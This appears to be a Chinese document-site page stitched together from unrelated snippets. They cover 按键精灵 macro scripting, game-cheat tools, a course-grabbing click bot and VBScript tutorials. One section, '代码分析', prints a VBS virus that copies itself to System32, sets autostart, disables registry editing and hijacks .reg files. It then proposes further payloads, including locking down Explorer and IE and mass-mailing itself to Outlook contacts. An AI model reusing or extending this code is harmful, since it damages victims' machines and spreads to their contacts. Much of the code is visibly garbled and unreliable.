按键精灵VBS脚本实例源码及详解

合集下载

学习怎么用按键精灵制作游戏辅助——脚本源代码干货分享

学习怎么用按键精灵制作游戏辅助——脚本源代码干货分享一、用按键精灵确定人物朝向（以剑灵自动寻路为例）的代码在剑灵右上角的小地图里找色/找图，箭头坐标存储在(x1,y1)，箭尾坐标存储在(x2,y2) FindColor1200,0,1920,300,"箭头颜色",x1,y1If x1 > 0 And y1> 0 ThenEnd IfFindColor1200,0,1920,300,"箭尾颜色",x2,y2If x1 > 0 And y1> 0 ThenEnd If'计算斜率/正切值斜率= (y1 - y2) / (x1 -x2)'计算角度角度= Atn(斜率)二、用按键精灵解决用户密码泄露问题的代码Function 加解密(源文件, 秘钥)Dim Z, iDim A, B, C加解密= ""If Len(源文件) = 0 Then’如果密码为空，则初始化为空加解密= ""Exit FunctionEnd If'调用Rnd函数使以后Rnd函数所产生的Rnd为相同的伪随机数列Z = Rnd(-秘钥)For i = 1 To Len(源文件)’将密码字符串一个一个字符通过加密，转换成另一个字符C = Mid(源文件, i, 1)A = Asc(C)B = Int(126 * Rnd) And&H7F’这里的&H7F，是指生成的伪随机代码，只取7位，以免数据溢出A = A Xor B’Xor是可逆的，第一次运行时是得到加密后的数据，再运行一次是得到解密后的数据C = Chr(A)加解密= 加解密+ CNextEnd Function举个例子吧~Function 加解密(源文件, 秘钥)Dim Z, iDim A, B, C加解密= ""If Len(源文件) = 0 Then加解密= ""Exit FunctionEnd If'调用Rnd函数使以后Rnd函数所产生的Rnd为相同的伪随机数列Z = Rnd(-密钥)For i = 1 To Len(源文件)C = Mid(源文件, i, 1)A = Asc(C)B = Int(126 * Rnd) And&H7FA = A Xor BC = Chr(A)加解密= 加解密+ CNextEnd FunctionEvent Form1.Load//获取小节名（如"e1df741f-d5ec-4ad7-969d-adb139c6a24f"），同一个Q文件生成的小节名不变a = GetMacroID()//获取到当前脚本/小精灵de ID加密文件=Plugin.File.ReadINI("e1df741f-d5ec-4ad7-969d-adb139c6a24f","Form1 .InputBox2.T ext", ".\uservar.ini")解密文件= 加解密(加密文件, 1234567890)'这里的1234567890是假使的密钥，可以修改，注意保密Form1.InputBox2.T ext = 解密文件End Event//写入密码信息源文件= Form1.InputBox2.T ext加密文件= 加解密(源文件, 1234567890)CallPlugin.File.WriteINI("e1df741f-d5ec-4ad7-969d-adb139c6a24f","Form1.InputBox2.T ext", 加密文件, ".\uservar.ini")//输出信息RunApp "notepad.exe"SayString Form1.InputBox1.T extKeyPress "Enter", 1SayString 源文件三、按键精灵快速排序的代码su = "6|1|2|7|9|3|4|5|10|8"su=Split(su, "|")L = UBound(su)Call ks(0, L)Function ks(L, B)If L > B ThenExit FunctionEnd If //判断数组上标下标是否超出范围i = Lj = Bkey =int( su(L) ) //数组第一位提取作为基数While j>iWhile int ( su(j)) >= key and j > i //要先从最右边开始找找到第一个小于key的数这里添加的j>i的判断是为了防止j的值不断递减导致下标越界j = j - 1WendWhile int (su(i)) <= key and j > i //从最左边开始找找到第一个大于key的数（这里的字符串数组需要转换为数值型）i = i + 1WendIf j>i then // 将和基数key对比得到的两个数对换将大于key的值往右边放小于key的值往左边放T = su(i)su(i) = su(j)su(j) = TEnd IfWend // 这个While 循环当i=j 第一轮比较完退出su(L) = su(i) // 重新设置数组第一个元素为基数su(i) = key// 基数归位（排完一轮之后左边的数<基数<右边的数那么基数就到了排序中它该在的位置。

VBS实用代码分享

VBS实⽤代码分享刚刚解决了⼀个实际问题，拿出来分享。

我刚将Spark重新编译，编译完成后是⼀个start.bat⽂件，双击start.bat就能够启动Spark，但是有⼀个命令窗⼝，要是能隐藏掉就好了。

隐藏命令窗⼝Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c startup.bat",vbhide创建快捷⽅式'取得当前⽤户的application data⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)'取得当前程序运⾏路径path=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))set WshShell = Wscript.CreateObject("Wscript.Shell")'取得⾃动启动⽂件夹路径strDir = WshShell.SpecialFolders("AllUsersStartup")'创建快捷⽅式set oShellLink = WshShell.CreateShortcut(strDir & "\\Spark即时通讯.lnk")oShellLink.TargetPath = path & "\\startup.vbs"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+s"'设置快捷⽅式的图标oShellLink.IconLocation = path & "\\spark.ico"oShellLink.Description = "Spark即时通讯"oShellLink.WorkingDirectory = pathoShellLink.Save'删除⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)MsgBox(objFolder.Self.Path)Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFolder = objFSO.GetFolder(objFolder.Self.Path & "\\Spark")objFolder.Delete True'创建⽂件夹set fso=createobject("scripting.filesystemobject")If fso.FolderExists(path & "\\..\\xtra") = false Thenfso.CreateFolder(path & "\\..\\xtra")End IfIf fso.FolderExists(path & "\\..\\xtra\\emoticons") = false Thenfso.CreateFolder(path & "\\..\\xtra\\emoticons")End If。

挂机必备按键精灵网游脚本编写教程

按键精灵网游脚本编写教程一、键盘命令（2~5页）二、鼠标命令（5~13页）三、控制命令（13~22页）四、颜色/图像命令（22~28页）五、其他命令（28~355页）五、网游脚本实例（35~最后）一、键盘命令1.1.1.??2.??3.MouseWheel?1 ??3.MouseWheel 14.1.脚本例子：1.语法)命令名称：RestoreMousePos 恢复上次保存的鼠标位置命令功能：保存当前鼠标位置命令参数：无返回值：无脚本例子：1.SaveMousePos语法)1.1. 1.则命令功能：判断表达式命令参数：参数1 条件型，表达式返回值：无脚本例子：语法)1.例子1：2.i=03.If i=0 Then4.Msgbox "条件判断符合被通过!!"5.End If1.1.可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始脚本例子：语法)1.可当注释,也可以为Goto跳转指令作标记2.Rem脚本开始命令名称：RestartScript 重新启动脚本运行命令功能：重新启动脚本运行命令参数：无脚本例子：语法) 1. For i=0 to 22. Delay 10003. Call0, 1024, 768, "屏幕内容填写" & i, "0000FF")4. NextRestartScript则循环命令功能：条件循环命令参数：参数1 条件型，循环条件返回值：无脚本例子：语法) 1. i=02. While i=03. Msgbox "我停不下来啦!!快住手"4. Wend1.1.1.，则默认展开到按键精灵所在的文件夹中2.mp。

如果不指定要释放的文件，则默认释放所有文件3.PutAttachment "c:\","*.bmp"4.plugin","*.dll"1.，则默认展开到按键精灵所在的文件夹中2.mp。

按键精灵源码

按键精灵源码//做这东西主要是为了新人学习之用希望对新人们有一些帮助//声明一些下面要用到的变量（其实不声明也可以不过为了养成//编程的好习惯还是希望大家声明一下)Dim XY_qi,Xq,Yq,n,m,Shu,Fu,A,X,Y//下面这部分是用来设置各种参数用户定义变量 XY_qi=800/400 输入数字起点坐标格式如：10/10 用户定义变量 Hen=5 输入横向特征点个数用户定义变量 n=1 输入横向递进值用户定义变量 Zong=10 输入纵向特征点个数用户定义变量 m=2 输入纵向递进值用户定义变量Ms=2 显示方式设置：1为弹出窗口模式2为粘帖模式用户定义变量 Color1=FFFFFF 设置字体颜色或者背景颜色//初始化数据部分//把Color1转化为字符串类型Color1=Str(Color1)//........................转换成字符类型//取得"/"在字符串的地几个A=InStr(XY_qi,"/")//.........................搜索字符串中指定字符的位置//取得"/"左边的数据Xq=Left(XY_qi,A-1)//........................返回指定数目的从字符串的左边算起的字符//取得"/"右边的数据Yq=Right(XY_qi,Len(XY_qi)-A)//.........从字符串右边返回指定数目的字符//给Shu,X,Y 赋值取得字符串长度Shu=""X=Xq:Y=Yq//纵向特征点个数循环 Zong 遍//给X赋值X=Xq//横向特征点个数循环 Hen 遍//利用GetPixelColor函数开始找颜色调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y) //找到的颜色值和自己设置的颜色值做比较如果表达式 (Color2<>Color1) 为真,则//如果2个颜色不一样则给Fu赋值"1"Fu="1"否则//否则给Fu赋值为"0"Fu="0"条件结束//没循环1次X的值增大nX=X+n//每循环1次Shu的值连接一个FuShu=Shu&Fu循环结束//每循环一次Y的值增大mY=Y+m循环结束//如果模式选择1在显示数字特征码如果表达式 (Ms=1) 为真,则调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y) //如果模式选择2则把数据写入剪切板否则如果(Ms=2)为真,则调用子程序 Nt调用子程序 Ts条件结束脚本停止运行//写入剪切板子程序子程序 NtShuZi=ShuSet objIE = CreateObject("InternetExplorer.Application")objIE.Navigate("about:blank")objIE.document.parentwindow.clipboardData.SetData "Text", ShuZiobjIE.Quit子程序结束,回到调用处//弹出对话框子程序子程序 Tsset Obj = createobject("WScript.Shell")Hua="数字特征码为："&vbcr&Shu&vbcr&"请打开记事本粘帖"调用外部VBScript子程序 Color2=得到指定点的颜色(X,Y)子程序结束,回到调用处//打开画图程序，并最大化，调整默认大小再运行脚本就OK。

按键精灵脚本制作教程（全）

按键精灵脚本制作教程（全）一、前言所谓游戏外挂，其实是一种游戏外辅程序，它可以协助玩家自动产生游戏动作、修改游戏网络数据包以及修改游戏内存数据等，以实现玩家用最少的时间和金钱去完成功力升级和过关斩将。

虽然，现在对游戏外挂程序的“合法”身份众说纷纭，在这里我不想对此发表任何个人意见，让时间去说明一切吧。

不管游戏外挂程序是不是“合法”身份，但是它却是具有一定的技术含量的，在这些小小程序中使用了许多高端技术，如拦截Sock技术、拦截API技术、模拟键盘与鼠标技术、直接修改程序内存技术等等。

本文将对常见的游戏外挂中使用的技术进行全面剖析。

二、认识外挂游戏外挂的历史可以追溯到单机版游戏时代，只不过当时它使用了另一个更通俗易懂的名字??游戏修改器。

它可以在游戏中追踪锁定游戏主人公的各项能力数值。

这样玩家在游戏中可以达到主角不掉血、不耗费魔法、不消耗金钱等目的。

这样降低了游戏的难度，使得玩家更容易通关。

随着网络游戏的时代的来临，游戏外挂在原有的功能之上进行了新的发展，它变得更加多种多样，功能更加强大，*作更加简单，以至有些游戏的外挂已经成为一个体系，比如《石器时代》，外挂品种达到了几十种，自动战斗、自动行走、自动练级、自动补血、加速、不遇敌、原地遇敌、快速增加经验值、按键精灵……几乎无所不包。

游戏外挂的设计主要是针对于某个游戏开发的，我们可以根据它针对的游戏的类型可大致可将外挂分为两种大类。

一类是将游戏中大量繁琐和无聊的攻击动作使用外挂自动完成，以帮助玩家轻松搞定攻击对象并可以快速的增加玩家的经验值。

比如在《龙族》中有一种工作的设定，玩家的工作等级越高，就可以驾驭越好的装备。

但是增加工作等级却不是一件有趣的事情，毋宁说是重复枯燥的机械劳动。

如果你想做法师用的杖，首先需要做基本工作--?砍树。

砍树的方法很简单，在一棵大树前不停的点鼠标就可以了，每10000的经验升一级。

这就意味着玩家要在大树前不停的点击鼠标，这种无聊的事情通过"按键精灵"就可以解决。

好玩的vbs代码

好玩的vbs代码VBScript（即Visual Basic Scripting Edition）是针对Microsoft Windows操作系统开发的一种脚本语言。

可以使用VBScript编写简单的窗体程序、交互式的动态网页以及实现许多有趣的小程序。

在这里，我们将分享一些有趣的VBScript代码，让你在工作之余放松一下，娱乐一下自己吧。

第一步："Hello, World!""Hello, world!"是编程语言初学者经常会编写的程序。

让我们来看一下用VBScript编写"Hello, world!"的代码。

```VBScriptMsgBox "Hello, world!"```在使用VBScript中，MsgBox是一个弹出式对话框，用于显示一条消息。

在这个代码中，我们使用了MsgBox，将"Hello, world!"作为消息显示出来。

这个程序的作用是打开一个窗口，显示一条消息，即"Hello, world!"。

第二步：翻转字符串这个程序可以将一个字符串翻转。

例如，如果我们输入"hello"，则输出"olleh"。

```VBScriptoriginalString = "hello"reversedString = StrReverse(originalString)MsgBox reversedString```在这个代码中，我们使用StrReverse函数翻转字符串。

该函数将输入的字符串反转，返回反转后的结果。

在这个程序中，我们将"hello"传递给该函数，并将结果返回给另一个变量。

最后，我们使用MsgBox弹出一个对话框，显示反转后的字符串。

第三步：随机数生成器这个程序可以生成1到100之间的随机数，并让用户猜测正确的数字。

vbs脚本大全,配有实例 DOS命令,批处理脚本代码

vbs脚本大全，配有实例DOS命令，批处理脚本代码VBS取得本机IPstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set IPConfigSet = objWMIService.ExecQuery('Select IPAddress fromWin32_NetworkAdapterConfiguration Where IPEnabled=TRUE')For Each IPConfig in IPConfigSetIf Not IsNull(IPConfig.IPAddress) ThenFor Each strAddress in IPConfig.IPAddressWScript.Echo strAddressNextEnd IfNext2 取得本机计算机名strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colComputers = objWMIService.ExecQuery('Select * from Win32_ComputerSystem')For Each objComputer in colComputersWscript.Echo Next4 检查升级包strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colOperatingSystems =objWMIService.ExecQuery('Select * fromWin32_OperatingSystem')For Each objOperatingSystem in colOperatingSystems Wscript.EchoobjOperatingSystem.ServicePackMajorVersion & '.' & objOperatingSystem.ServicePackMinorVersionNext5 检查Hot FixstrComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colQuickFixes = objWMIService.ExecQuery ('Select *from Win32_QuickFixEngineering')For Each objQuickFix in colQuickFixesWscript.Echo 'Description: ' & objQuickFix.Description Wscript.Echo 'Hot Fix ID: ' & objQuickFix.HotFixIDNext6 检查本地管理员数目Set objNetwork = CreateObject('work') strComputer = puterNameSet objGroup = GetObject('WinNT://' & strComputer & '/Administrators,group')For Each objUser in objGroup.MembersWscript.Echo Next7 磁盘系统strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colDisks = objWMIService.ExecQuery('Select * from Win32_LogicalDisk Where DriveType =3')For Each objDisk in colDisksWscript.Echo 'Disk drive: '& objDisk.DeviceID & ' -- ' &objDisk.FileSystemNext8 检测自动登录是否开启Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValueIf dwValue = 1 ThenWscript.Echo 'Auto logon is enabled.'ElseWscript.Echo 'Auto logon is disabled.'End If9 关闭自动登录Const HKEY_LOCAL_MACHINE = &H80000002 strComputer = '.'Set objReg=GetObject('winmgmts:\\' & strComputer & '\root\default:StdRegProv')strKeyPath = 'Software\Microsoft\WindowsNT\CurrentVersion\WinLogon'strValueName = 'AutoAdminLogon'dwValue = 0oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue10 检查Guest是否禁用Set objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is disabled.'ElseWscript.Echo 'The Guest account is enabled.'End If11 关闭GuestSet objNetwork = CreateObject('work') strComputer = puterNameSet objUser = GetObject('WinNT://' & strComputer & '/Guest')If objUser.AccountDisabled ThenWscript.Echo 'The Guest account is already disabled.' ElseobjUser.AccountDisabled = TrueobjUser.SetInfoWscript.Echo 'The Guest account has been disabled.' End If12 检索本地共象strComputer = '.'Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\root\cimv2')Set colShares = objWMIService.ExecQuery('Select * from Win32_Share')For each objShare in colSharesWscript.Echo 'Name: ' & Wscript.Echo 'Path: ' & objShare.PathWscript.Echo 'Type: ' & objShare.TypeNext13 脚本检索一个文件夹下.txt文件汗哦值得学习Set objWMIService =GetObject('winmgmts:\\.\root\cimv2')Set colFiles = objWMIService.ExecQuery('SELECT * FROM CIM_DataFile WHERE Path = '\\Documentsand Settings\\Administrator\\桌面\\' AND Drive = 'E:' AND Extension = 'txt'')Wscript.Echo 'Number of .txt files found: ' & colFiles.Count for each aa in colFilesNL=NL & vbcrlf & nextWscript.Echo NL14 我如何向用户显示一个用来选择文件的对话框？问：嗨，Scripting Guy！有没有什么方法可以让我使用脚本向用户显示一个对话框，供用户选择文件使用？-- BF答：您好，BF。

很好的VBS教程(带实例)

很好的VBS教程（带实例）推荐第一篇：讲一下VBScript。

主要面向菜鸟，懂得编程的朋友就不要浪费时间了，如果你想接触以下VBScript也可以。

但既然有编程基础推荐直接去找一些参考书来读。

会比较快。

什么是VBScript呢？VBScript的全称是：Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)。

正如其字面所透露的信息，VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言。

我进一步解释一下，Microsoft Visual Basic是微软公司出品的一套可视化编程工具，语法基于Basic.脚本语言，就是不编译成二进制文件，直接由宿主(host)解释源代码并执行，简单点说就是你写的程序不需要编译成.exe，而是直接给用户发送.vbs 的源程序，用户就能执行了。

我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了，答案是：记事本(Notepad).我不是开玩笑，其实任何一种文本编辑器都可以用来开发VBS开发，只不过记事本是由系统自带的，比较好找而已. 尽管如此，我还是建议你去下载一个专业的文本编辑器，因为这些工具可以提供"语法高亮"等功能，更加方便开发，用哪一个随你喜好，我比较喜欢Edit Plus (2.10).OK，我们先来写一个VBScript程序热热身.REM 输入并回显你的名字'使用InputBox和Msgbox函数Dim name,msgmsg="请输入你的名字:"name=Inputbox(msg,"名称")Msgbox(name)把上面的程序清单输入到记事本里面，然后保存为以.vbs为扩展名的文件("保存类型"里面选择"所有文件").然后双击运行，观察运行结果. 注意:请自己输入程序清单，不要复制->粘贴!我来解释一下这个程序，第一行和第二行的开头分别是"REM"语句和" ' "，这两个东西的作用是相同的，表示本行是注释行，就是说这两行什么也不干,只是用来说明这段程序的功能，版权信息等等. 注释行是程序最重要的部分之一，尽管它不是必需的，但对于其他人阅读源代码，以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰，简洁的注释。

vbs脚本分析

1、代码分析：On Error Resume Next '如果发生错误，不弹出窗口，继续执行下面语句Set fs=CreateObject("Scripting.FileSystemObject") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作Set dir1=fs.GetSpecialFolder(0) '获取%Windows%文件夹位置Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置Set so=CreateObject("Scripting.FileSystemObject")dim r '定义一个变量Set r=CreateObject("Wscript.Shell") '声明so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置'下面是对注册表的恶意修改r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1," REG_DWORD" '修改注册表，禁止注册表编辑r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs" '修改注册表，使这个脚本本身开机自动运行r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联通过上面分析，我们还可以对该恶意代码加入更多的功能，如对于修改注册表来说，可以有：r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWO RD" '修改注册表，禁止“运行”菜单r.Regwrite"KCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWOR D" '修改注册表，禁止“关闭”菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"R EG_DWORD" '修改注册表，隐藏所有逻辑盘符r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_ DWORD" '修改注册表，禁止“任务栏和开始”菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1, "REG_DWORD" '修改注册表，禁止右键菜单r.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_ DWORD" '修改注册表，禁止控制面板还可以对IE选项进行恶意修改：r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" '修改注册表，禁止鼠标右键r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" '修改注册表，禁止Internet选项r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" '修改注册表，禁止“文件/打开”菜单r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" '修改注册表，禁止更改高级页设置r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" '修改注册表，禁止更改主页，即“主页”变灰r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD" '修改注册表，禁止更改安全项r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD" '修改注册表，禁止查看源文件……还可以加入通过邮件自动传播功能：Set ol=CreateObject("Outlook.Application") '创建Outlook文件对象用于传播On Error Resume NextFor x=1 To 100Set Mail=ol.CreateItem(0)Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) '用于向地址簿的前100名发送此VBS病毒Mail.Subject="今晚你来吗？" '邮件主题Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。

按键精灵常用功能-详细解说

[命令]按键精灵常用功能－详细解说[1]－键盘动作按键精灵常用功能－解说[版本5.0以上]首先－启动按键精灵－看到主程序界面的“小灯泡”增加按钮了吗？点击它...然后－这样就新建了一个脚本，并进入了脚本编辑器界面。

（具体参见Qmacro基础资料/cn/qmacro/）按键精灵常用功能－详细解说[1]－键盘动作－4个功能(1)单个按键的模拟－模拟键盘的单个按键动作，可以是按1下、按住不动、弹起来等3种形式，可以根据自己的需要，设定执行次数。

(2)按键组合的模拟－模拟按键组合，比如ctrl＋shift＋G之类的，但是不能G＋H 这样子哦，那要需要的时候怎么模拟G＋H呢？使用(1)功能－按下G，再按下H，就等于G＋H了嘛~~~（不同步？哦，计算机的反映速度是很快的！）(3)脚本暂停按任意键继续功能－这里可以设置一个变量，用来表示可能是哪个按键，比如设置了变量key，当key这个变量变动的时候...比如key＝49的时候，表示按1就能使脚本继续...那么怎么知道哪个数字对应是哪个按键？请看(4)的功能。

(4)得到按键码－在左边的空白输入一个按键，右边就显示出相应的按键码哦。

有一些特殊的按键码是多少呢？可以去下载个ASCII码表看看。

举例：打开一个记事本，光标停空白处，按1下你设定的快捷键开始执行你设计的脚本... Rem rem只是注释语句，可以做标记或解释用途。

Rem rem这一行，不会有功能，比如：KeyPress 49 10Rem 按1键10次，换行KeyPress 49 10KeyPress 13 1Rem 按下1键不动，2秒后弹起，换行KeyDown 49 1Rem 延时2000毫秒Delay 2000KeyUp 49 1KeyPress 13 1Rem 按shift＋1组合键，换行KeyDown 16 1KeyPress 49 1KeyUp 16 1KeyPress 13 1Rem 提示后，等待任意键继续SayExpression "请按任意键继续吧。

按键精灵脚本教程

按键精灵脚本教程
按键精灵是一款功能强大的自动化软件，可以帮助用户完成重复性的操作任务。

通过编写脚本，可以将按键精灵的功能发挥到极致。

本教程将为您详细介绍按键精灵脚本的基本语法和常用操作，以帮助您更好地使用按键精灵。

一、脚本语法
按键精灵脚本采用类似于VBScript的语法，非常简洁易懂。

以下是脚本的基本语法：
1. 注释：使用单引号（'）进行注释，注释内容会被忽略。

例如：
' 这是一个注释
2. 变量定义：使用Dim关键字定义变量。

例如：
Dim num
3. 赋值语句：使用等号（=）进行赋值。

例如：
num = 10
4. 循环语句：使用For循环来执行重复操作。

例如：
For i = 1 to 10
' 这里是重复执行的操作
Next
5. 条件语句：使用If语句进行条件判断。

例如：
If num > 0 Then
' 符合条件时执行的操作
End If
6. 函数调用：使用Call关键字进行函数调用。

例如：
Call MyFunction()
二、脚本操作
按键精灵脚本可以实现很多功能，以下是一些常用的操作：1. 按键：使用按键精灵内置的按键函数来模拟按键操作。

例如：
Call keyDown(\。

刷课神器——按键精灵使用教程

刷课神器——按键精灵使用教程废话少说，直接进入正题。

以下教程皆以按键精灵8.20.7921版（免费版）为例。

请通读全文后再开始操作。

有看不懂的地方，建议询问一下他人再进行刷课……刷课有风险，操作需谨慎。

1.打开按键精灵，点击“新建”。

2.点击“源文件”，将以下代码复制到窗口中。

Dim hwndhwnd = Plugin.Window.MousePoint()s = Plugin.Window.GetClientRect(hwnd)MyArray = Split(s, "|", -1, 1)VBS sx = MyArray(0)VBS sy = Myarray(1)i=10While i=10//当循环条件成立的时候，反复执行循环体Call Plugin.Bkgnd.LeftClick(hwnd,1145-sx,385-sy)Delay 1200a = Plugin.Window.Find(0, "来自网页的消息")Call Plugin.Window.Active(a)Call Plugin.Bkgnd.KeyPress(a,13) Delay 300a = Plugin.Window.Find(0, "来自网页的消息")Call Plugin.Window.Active(a)Call Plugin.Bkgnd.KeyPress(a,13)Delay 5000Wend然后更改右侧“描述”处的刷课脚本名称，以及启动热键与中止热键。

这两个热键一定不能与浏览器或电脑自带的其他热键功能相冲突。

建议采用shift+英文字母的形式。

其他不会产生冲突的形式也可。

3.打开用来刷课的浏览器，打开补退选的网页，将网页窗口最大化，填入验证码。

为避免误操作，建议将想要刷的课程挪到页面的上方，将网页右侧导航条滑到最上方。

开始刷课后，该浏览器将不能再用作他用。

切记！！！4.最小化网页窗口，切换回按键精灵的界面，点击“抓抓”5.再点开补退选网页界面。

vbs代码教程

vbs代码教程VBScript是一种基于VB（Visual Basic）的脚本语言，可以用于Windows操作系统上的自动化任务和脚本编写。

本教程将带你了解VBScript的基础知识以及如何编写简单的脚本。

1. 输出文本：使用VBScript，你可以使用`MsgBox`函数在屏幕上显示文本。

例如，在脚本中添加以下代码：```MsgBox "Hello World!"```2. 变量：在VBScript中，你可以使用变量来存储和操作数据。

变量可以是字符、数字、布尔值等。

例如，以下代码创建一个变量，并将其打印到屏幕上：```Dim namename = "John"MsgBox name```3. 运算符：VBScript支持各种数学和逻辑运算符，用于进行计算和比较。

例如，下面的代码演示了如何使用运算符进行加法和比较操作：```Dim num1, num2, sumnum1 = 10num2 = 5sum = num1 + num2MsgBox sumDim resultresult = (num1 > num2)MsgBox result```4. 条件语句：条件语句允许你根据条件的不同来执行不同的代码块。

VBScript中最常用的条件语句是`If...Then...Else`。

例如，以下代码根据条件的不同来显示不同的消息：```Dim numnum = 10If num > 10 ThenMsgBox "Greater than 10"ElseIf num < 10 ThenMsgBox "Less than 10"ElseMsgBox "Equal to 10"End If```5. 循环语句：循环语句允许你多次执行相同或类似的代码块。

VBScript中有几种类型的循环语句，包括`For...Next`循环和`Do...Loop`循环。

按键精灵脚本命令大全及举例说明

按键精灵常用命令与示范例子目录如下一、键盘命令（2~5页）二、鼠标命令（5~13页）三、控制命令（13~22页）四、颜色/图像命令（22~28页）五、其他命令（28~35页）五、网游脚本实例（35~最后）一、键盘命令命令名称：GetLastKey 检测上次按键命令功能：检测上次按键命令参数：参数1 整数型，可选：变量名返回值：无脚本例子：(8.x语法) 复制代码1.//脚本运行到这一行不会暂停,调用的时候立即返回，得到调用之前最后一次按下的按键码保存在变量Key里。

2.Key=GetLastKey()3.If Key = 13 Then4. Msgbox "你上次按下了回车键"5.End If脚本例子：(7.x语法) 复制代码1.//脚本运行到这一行不会暂停,调用的时候立即返回，得到调用之前最后一次按下的按键码保存在变量Key里。

2.GetLastKey Key3.If Key = 134. Msgbox "你上次按下了回车键"5.EndIf命令名称：KeyDown 按住命令功能：键盘按住命令参数：参数1 整数型，键盘虚拟码（8.X支持按键字符）参数2 整数型，次数返回值：无脚本例子：(8.x语法) 复制代码1.//KeyDown、KeyDownS、KeyDownH2.//KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB接口的键盘都可以使用3.//KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4.KeyDown 65,15.//65是A键的按键码，上面的语句表示按住A键1次6.7.KeyDown "A",18. //上面的支持按键字符，语句表示按住A 键1次脚本例子：(7.x 语法) 复制代码 1. //KeyDown 、KeyDownS 、KeyDownH2. //KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB 接口的键盘都可以使用3. //KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4. KeyDown 65,15. //65是A 键的按键码，上面的语句表示按住A 键1次命令名称：KeyPress 按键命令功能：键盘按键命令参数：参数1 整数型，键盘虚拟码（8.X 支持按键字符）参数2 整数型，次数返回值：无脚本例子：(8.x 语法) 复制代码 1. //KeyPress 、KeyPressS 、KeyPressH2. //KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB 接口的键盘都可以使用3. //KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4. KeyPress 65,15. //65是A 键的按键码，上面的语句表示按A 键1次6.7. KeyPress "A",18. //上面的支持按键字符，语句表示按A 键1次脚本例子：(7.x 语法) 复制代码 1. //KeyPress 、KeyPressS 、KeyPressH2. //KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要求,PS2(圆口)和USB 接口的键盘都可以使用3. //KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模拟方式的注意事项4. KeyPress 65,15. //65是A 键的按键码，上面的语句表示按A 键1次返回值：无脚本例子：(8.x语法) 